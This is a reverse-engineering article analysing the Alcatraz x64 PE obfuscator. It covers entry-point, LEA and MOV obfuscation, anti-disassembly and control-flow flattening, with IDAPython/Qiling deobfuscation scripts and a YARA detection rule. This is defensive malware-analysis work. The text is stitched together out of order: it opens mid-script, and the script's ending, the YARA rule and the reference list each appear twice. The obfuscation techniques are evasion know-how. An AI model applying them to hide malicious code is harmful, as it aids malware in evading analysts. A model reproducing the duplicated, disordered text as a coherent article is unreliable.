      xor_value = current_instruction.ops[1].value & MASK
      current_address += current_instruction.size 
   elif current_instruction.itype == idaapi.NN_rol:
      rol_value = current_instruction.ops[1].value & MASK
      current_address += current_instruction.size
   elif current_instruction.itype == idaapi.NN_popf:
      calculated_value = calculate_mov_value(
         init_value=initial_value,
         add_value=add_value,
         xor_value=xor_value,
         rol_value=rol_value
      )
      current_address += current_instruction.size
   elif current_instruction.itype == idaapi.NN_pushf:
      # The pattern we are looking for can be repetitive,
      # so we need to keep the process going.
      initial_value = calculated_value
      current_address += current_instruction.size
   else:
      break
print(f"[+] Calculated MOV value: {hex(calculated_value)}")

Github Repo

YARA Rule

import "pe"

rule SUSP_EXE_Alcatraz_Obfuscator_April_23 { 
    meta:
        description = "This rule detects samples obfuscated with Alcatraz."
        author      = "Utku Corbaci (rhotav) / 0xReverse"
        date        = "2025-04-23"
        sharing     = "TLP:CLEAR"
        tags        = "windows,exe,suspicious,obfuscator"
        os          = "Windows"

    strings:
        // B8 41 CD A8 27   mov     eax, 27A8CD41h
        // 66 9C            pushf
        // F7 D0            not     eax
        // 05 AB FD E1 DD   add     eax, 0DDE1FDABh
        // 35 CA 3C 0F BF   xor     eax, 0BF0F3CCAh
        // C1 C0 62         rol     eax, 62h
        // 66 9D            popf
        $obfuscation_mov = {B8 ?? ?? ?? ?? 66 9C F7 D0 05 ?? ?? ?? ?? 35 ?? ?? ?? ?? C1 C0 ?? 66 9D}

        // 48 8D 05 74 81 47 77        lea     rax, cs:1B748621Eh
        // 66 9C                       pushf
        // 48 2D A6 2B 48 77           sub     rax, 77482BA6h
        // 66 9D                       popf
        $obfuscation_lea = {48 8D ?? ?? ?? ?? ?? 66 9C 48 2D ?? ?? ?? ?? 66 9D}
    condition: 
        pe.is_pe
        and for any i in (0..pe.number_of_sections - 1): (
            (pe.sections[i].name == ".0Dev")
        )
        and (all of ($obfuscation_*))
}

unpac.me Hunting Results

References

1. https://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English

2. https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c

3. https://python.docs.hex-rays.com/

4. https://grazfather.github.io/posts/2016-09-18-anti-disassembly/

5. https://gist.github.com/trietptm/5cd60ed6add5adad6a34098ce255949a

6. https://phrack.org/issues/71/15

Binary-to-binary (bin2bin) obfuscators, which are frequently preferred by both malware developers and users seeking to protect their source code, are making the work of malware analysts and reverse engineering experts increasingly difficult with their advanced techniques, complicating the overall analysis process. In this article, the processes of one such tool, the “Alcatraz” obfuscator, are analyzed.

Alcatraz Obfuscator

Alcatraz is an obfuscator capable of obfuscating x64-based PE files, and it stands out among open-source binary-to-binary obfuscator solutions with the techniques it incorporates.

• Obfuscation of immediate moves

• Control flow flattening

• ADD mutation

• Entry-point obfuscation

• Lea obfuscation

• Anti disassembly

If we are not analyzing directly on a sample (such as a crackme, malware, etc.), we can more easily observe the changes made by the target obfuscator using a file we have prepared ourselves. For this purpose, I created a test application prior to the analysis.

#include <stdio.h>

char* func1() {
    return "0xreverse.com";
}

int func2() {
    return 24;
}

int main()
{
    printf("%s\n", func1());
    printf("%d\n", func2());
    getchar();
    return 1;
}

I obfuscated this application, which I compiled in Release (x64) mode, using Alcatraz with all features enabled. In the remainder of the article, I will refer to this test application as the “sample.”

Analysis

Entry-Point Obfuscation

When I opened the sample on IDA, I saw that the first function (Entry-Point) was doing something with PE Headers.

ImageBaseAddress = (char *)NtCurrentPeb()->ImageBaseAddress;
v7 = &ImageBaseAddress[*((int *)ImageBaseAddress + 15)];
v8 = *((unsigned __int16 *)v7 + 3);
v9 = (__int64)&v7[*((unsigned __int16 *)v7 + 10) + 24];

Since IDA does not recognize the structures, it represents them using pointer operations. To improve this process, I imported the MS SDK (Windows 7 x64) types from the Type Libraries section (Shift + F11 or View > Open Subviews). To modify the types of variables, I added the necessary types as “standard structures” via the Structures section (Shift + F9) by pressing the Ins key. After adding the structures, I converted the relevant variables in the code to appropriate types.

dosHeader = (IMAGE_DOS_HEADER *)NtCurrentPeb()->ImageBaseAddress;
ntHeader = (IMAGE_NT_HEADERS *)((char *)dosHeader + dosHeader->e_lfanew);
NumberOfSections = ntHeader->FileHeader.NumberOfSections;
firstSectionHeader = (IMAGE_SECTION_HEADER *)((char *)&ntHeader->OptionalHeader
                                          + ntHeader->FileHeader.SizeOfOptionalHeader);
if (ntHeader->FileHeader.NumberOfSections)
{
    qmemcpy(obfuscatorSection, ".0Dev", sizeof(obfuscatorSection));
    do
    {
      v10 = obfuscatorSection;
      v11 = *(_OWORD *)&firstSectionHeader->SizeOfRawData;
      v12 = *(_QWORD *)&firstSectionHeader->NumberOfRelocations;
      hasSectionName = _mm_cvtsi128_si32(*(__m128i *)firstSectionHeader->Name);
      *(_OWORD *)selectedSectionName.Name = *(_OWORD *)firstSectionHeader->Name;
      *(_QWORD *)&selectedSectionName.NumberOfRelocations = v12;
      *(_OWORD *)&selectedSectionName.SizeOfRawData = v11;
      if ( hasSectionName )
      {
        a3 = (char *)&selectedSectionName - obfuscatorSection;
        v14 = hasSectionName;
//...

After these operations, the start function has become easier to understand. At first, the function tries to find the section whose name is 0Dev. Then it calculates the Original Entry-Point by performing mathematical operations on some values in the header of this section.

return ((__int64 (__fastcall *)(_QWORD, signed __int64, signed __int64, IMAGE_SECTION_HEADER *))((char *)dosHeader + (unsigned int)__ROR4__(LODWORD(ntHeader->OptionalHeader.SizeOfStackCommit) ^ *(_DWORD *)((char *)&dosHeader->e_magic + v3->VirtualAddress), ntHeader->FileHeader.TimeDateStamp)))(
       a2,
       v4,
       a3,
       firstSectionHeader);

We can also verify this process through the source code:

__declspec(safebuffers) int obfuscator::custom_main(int argc, char* argv[]) {
    auto peb = (uint64_t)__readgsqword(0x60); // peb
    auto base = *(uint64_t*)(peb + 0x10); // peb + 0x10 = DOS Header (MZ)
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + ((PIMAGE_DOS_HEADER)base)->e_lfanew);

    PIMAGE_SECTION_HEADER section = nullptr;
    auto first = IMAGE_FIRST_SECTION(nt);
    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        auto currsec = first[i];

        char dev[5] = { '.', '0', 'D', 'e', 'v' };
        if (!_strcmp((char*)currsec.Name, dev)) {
            section = &currsec;
        }
    }

    uint32_t real_entry = *(uint32_t*)(base + section->VirtualAddress);
    real_entry ^= nt->OptionalHeader.SizeOfStackCommit;
    real_entry = _rotr(real_entry, nt->FileHeader.TimeDateStamp);
    return reinterpret_cast<int(*)(int, char**)>(base + real_entry)(argc, argv);
}

Writing OEP Finder with Qiling Framework

There are many possible approaches to performing all these steps (e.g., calculating them statically on the binary using PE parser libraries like LIEF). However, I would like to demonstrate how this entire process can be handled using the Qiling Framework. By using IDAPython APIs, we can retrieve the entry point of the sample as well as the start and end addresses of the function at that location.

from qiling import Qiling
from qiling.const import QL_VERBOSE  

# Qiling Version: 1.4.8 f4464b95
# IDA Pro Version 7.7

ROOTFS_PATH = r"ROOTFS_PATH"

def find_oep(sample_path, func) -> int:
    # I added the log_devices parameter because I got the following error.
    # TypeError: unexpected logging device type: IDAPythonStdOut
    ql = Qiling([sample_path], rootfs=ROOTFS_PATH, verbose=QL_VERBOSE.OFF, log_devices=[])
    # To prevent Qiling from continuing emulation, the RAX value
    # must be taken one instruction before the jmp opcode is executed.
    ql.run(begin=func.start_ea, end=func.end_ea - 0x4) # - jmp opcode size
    original_entry_point = ql.arch.regs.read("RAX")
    print(f"[+] Found Original Entry Point: 0x{original_entry_point:x}")
    return original_entry_point


def main():
    print("[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]")
    sample_path = idaapi.get_input_file_path()
    # IDAPython CheatSheet
    # https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c
    info = idaapi.get_inf_structure()
    entrypoint = info.start_ea  # EntryPoint start address
    if func := ida_funcs.get_func(entrypoint):
        function_name = idc.get_func_name(entrypoint)
        print(f"[+] Emulating Function Name: {function_name}, Address: {entrypoint:x}")        
        original_entry_point = find_oep(sample_path, func)
        # Rename OEP address to original_entry_point
        idc.set_name(original_entry_point, "original_entry_point", idc.SN_NOWARN)
    else:
        print(f"[-] This address is not a function")
        exit(-1)

main()

This is the output I got after running this script with File > Script File... (Alt + F7):

[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]
[+] Emulating Function Name: start, Address: 14000e2ba
[+] Found Original Entry Point: 0x140001340

Since we renamed the function at the target address to original_entry_point, instead of using the "Jump to Address (G)" option, we can directly search for the function name in the Functions section to view the actual entry-point location.

LEA Obfuscation

lea rdx, cs:7FF7D996FE33h
pushf
sub rdx, 421FDBD3h
popf
lea rcx, cs:7FF7FD145F19h
pushf
sub rcx, 659D3CA9h
popf
call loc_7FF797778E4A

The Load Effective Address (LEA) instruction loads the target address into the specified register. The sub instruction, which is wrapped with pushf and popf, reveals the actual address by subtracting a specific value from the address stored in the rdx register.

The reason for wrapping with pushf and popf is to ensure that the RFLAGS on the CPU are not affected by the sub operation. With pushf, the RFLAGS are saved to memory, and then with popf, the preserved RFLAGS are restored.

Hence the representation of the above process:

$$RDX = 0x7FF7D996FE33 - 0x421FDBD3$$

$$RCX = 0x7FF7FD145F19 - 0x659D3CA9$$

You can see how it calculates this in the lea.cpp file in the Alcatraz Codebase:

auto rand_add_val = distribution(generator);
instruction->location_of_data += rand_add_val;
assm.pushf();
assm.sub(x86_register_map->second, rand_add_val);
assm.popf();
void* fn;
auto err = rt.add(&fn, &code);

Display on the debugger:

Anti-Disassembly

According to the description here, it baffles linear disassemblers that it converts an instruction starting with 0xFF into 0xEB 0xFF. Since I plan to explain this technique (Impossible Disassembly) and other anti-* techniques in a different blog post, I won't go into detail here. We can clearly see how it does this from the source code.

bool obfuscator::obfuscate_ff(std::vector<obfuscator::function_t>::iterator& function, std::vector<obfuscator::instruction_t>::iterator& instruction) {

    instruction_t conditional_jmp{}; conditional_jmp.load(function->func_id, { 0xEB });
    conditional_jmp.isjmpcall = false;
    conditional_jmp.has_relative = false;
    instruction = function->instructions.insert(instruction, conditional_jmp);
    instruction++;

    return true;
}

MOV & ADD Obfuscation

As I mentioned in LEA obfuscation, it does some operations wrapped in pushf and popf.

mov     edx, 0AA045890h
pushf
not     edx
add     edx, 0E6CAF175h
xor     edx, 0B7625898h
rol     edx, 0C4h
popf
pushf
not     edx
add     edx, 811E9B28h
xor     edx, 0C6E2935Fh
rol     edx, 0Fh
popf

Control Flow Obfuscation

The part of the function that makes it harder to read the flow by placing the normal flow in the function in reconstructed blocks. This is the normal flow of the main function:

It translates into this (graph view):

Pseudo-Code representation:

Writing MOV Calculator Script with IDAPython

In Section 3.4, it is necessary to write a calculator for the MOV Obfuscation operation I mentioned. The functions that will be used in this script will also be needed for Control Flow Unflattening.

In the main function of the script, the analyze_mov_obfuscation function is called by getting the selected address on IDA.

def main():
   print("[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]")
   # Select a mutated function on IDA Screen
   start_address = idaapi.get_screen_ea()
   if selected_function := ida_funcs.get_func(start_address):
      function_name = idc.get_func_name(start_address)
      print(f"[+] Analyzing Function Name: {function_name}, Address: {start_address:x}")
      deobfuscated_mov_ops = analyze_mov_obfuscation(func=selected_function)
      print(f"[+] Deobfuscated {deobfuscated_mov_ops} MOV obfuscation")
   else:
        print(f"[-] This address is not a function")
        exit(-1)

The analyze_mov_obfuscation function simply walks through the target function, finds the following pattern and calculates the required value.

pattern:
{
    mov     eax, VALUE
    pushf
    not     eax
    add     eax, VALUE
    xor     eax, VALUE
    rol     eax, VALUE
    popf
}

Before writing the analyze_mov_obfuscation function, it is necessary to add the functions that perform the operations wrapped with ROL, ROR and pushf&popf to the script:

rol = lambda val, r_bits, max_bits: ((val << (r_bits % max_bits)) & (2**max_bits - 1)) | ((val & (2**max_bits - 1)) >> (max_bits - (r_bits % max_bits)))
ror = lambda val, r_bits, max_bits: ((val & (2**max_bits - 1)) >> (r_bits % max_bits)) | ((val << (max_bits - (r_bits % max_bits))) & (2**max_bits - 1))
MASK = 0xFFFFFFFF

def calculate_mov_value(init_value, add_value, xor_value, rol_value):
   # mov     eax, VALUE
   calculated_value = init_value
   # not     eax         -> bitwise NOT
   calculated_value = (~calculated_value) & MASK
   # add     eax, VALUE
   calculated_value = (calculated_value + add_value) & MASK
   # xor     eax, VALUE
   calculated_value = calculated_value ^ xor_value
   # rol     eax, VALUE
   calculated_value = rol(calculated_value, rol_value, 32)
   return calculated_value

For this pattern we only need to check the initial mov and pushf values. So we check the instruction with current_address and the next instruction:

# Get function start address
current_address = func.start_ea
while current_address < func.end_ea:
  instruction = idautils.DecodeInstruction(current_address)
  if not instruction:
     break

  if instruction.itype == idaapi.NN_mov:
     # Check if the next opcode is pushf
     next_instruction = idautils.DecodeInstruction(current_address + instruction.size)
     if next_instruction.itype == idaapi.NN_pushf:
        print("[+] MOV Obfuscation pattern found!")
        ...
     else:
        current_address += instruction.size
  else:
     current_address += instruction.size

After the initial address is assigned to a register, we cannot calculate this pattern once because the number of times the special calculation is done is randomly selected. Therefore, it is necessary to continue in a loop until we get a different opcode other than the specific opcodes. There is an example of this process done 3 times in the same function:

mov     ecx, 5600B3EBh
pushf
not     ecx
add     ecx, 84DD6D12h
xor     ecx, 84F2EEE7h
rol     ecx, 2Bh
popf
pushf
not     ecx
add     ecx, 0B4156550h
xor     ecx, 0B460F07Dh
rol     ecx, 5Bh
popf
pushf
not     ecx
add     ecx, 0E02D13C8h
xor     ecx, 0C483568Bh
rol     ecx, 66h
popf

This is how we do the calculation process in the script:

calculated_value = 0
add_value = xor_value = rol_value = 0
# Get value from {mov eax, VALUE} and MASK for 32bit
initial_value = instruction.ops[1].value & MASK
# Add current_address and mov and pushf
current_address += instruction.size + next_instruction.size
while True:
   current_instruction = idautils.DecodeInstruction(current_address)
   if current_instruction.itype == idaapi.NN_not:
      current_address += current_instruction.size
   elif current_instruction.itype == idaapi.NN_add:
      add_value = current_instruction.ops[1].value & MASK
      current_address += current_instruction.size
   elif current_instruction.itype == idaapi.NN_xor:
      xor_value = current_instruction.ops[1].value & MASK
      current_address += current_instruction.size 
   elif current_instruction.itype == idaapi.NN_rol:
      rol_value = current_instruction.ops[1].value & MASK
      current_address += current_instruction.size
   elif current_instruction.itype == idaapi.NN_popf:
      calculated_value = calculate_mov_value(
         init_value=initial_value,
         add_value=add_value,
         xor_value=xor_value,
         rol_value=rol_value
      )
      current_address += current_instruction.size
   elif current_instruction.itype == idaapi.NN_pushf:
      # The pattern we are looking for can be repetitive,
      # so we need to keep the process going.
      initial_value = calculated_value
      current_address += current_instruction.size
   else:
      break
print(f"[+] Calculated MOV value: {hex(calculated_value)}")

Github Repo

YARA Rule

import "pe"

rule SUSP_EXE_Alcatraz_Obfuscator_April_23 { 
    meta:
        description = "This rule detects samples obfuscated with Alcatraz."
        author      = "Utku Corbaci (rhotav) / 0xReverse"
        date        = "2025-04-23"
        sharing     = "TLP:CLEAR"
        tags        = "windows,exe,suspicious,obfuscator"
        os          = "Windows"

    strings:
        // B8 41 CD A8 27   mov     eax, 27A8CD41h
        // 66 9C            pushf
        // F7 D0            not     eax
        // 05 AB FD E1 DD   add     eax, 0DDE1FDABh
        // 35 CA 3C 0F BF   xor     eax, 0BF0F3CCAh
        // C1 C0 62         rol     eax, 62h
        // 66 9D            popf
        $obfuscation_mov = {B8 ?? ?? ?? ?? 66 9C F7 D0 05 ?? ?? ?? ?? 35 ?? ?? ?? ?? C1 C0 ?? 66 9D}

        // 48 8D 05 74 81 47 77        lea     rax, cs:1B748621Eh
        // 66 9C                       pushf
        // 48 2D A6 2B 48 77           sub     rax, 77482BA6h
        // 66 9D                       popf
        $obfuscation_lea = {48 8D ?? ?? ?? ?? ?? 66 9C 48 2D ?? ?? ?? ?? 66 9D}
    condition: 
        pe.is_pe
        and for any i in (0..pe.number_of_sections - 1): (
            (pe.sections[i].name == ".0Dev")
        )
        and (all of ($obfuscation_*))
}

unpac.me Hunting Results

References

1. https://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English

2. https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c

3. https://python.docs.hex-rays.com/

4. https://grazfather.github.io/posts/2016-09-18-anti-disassembly/

5. https://gist.github.com/trietptm/5cd60ed6add5adad6a34098ce255949a

6. https://phrack.org/issues/71/15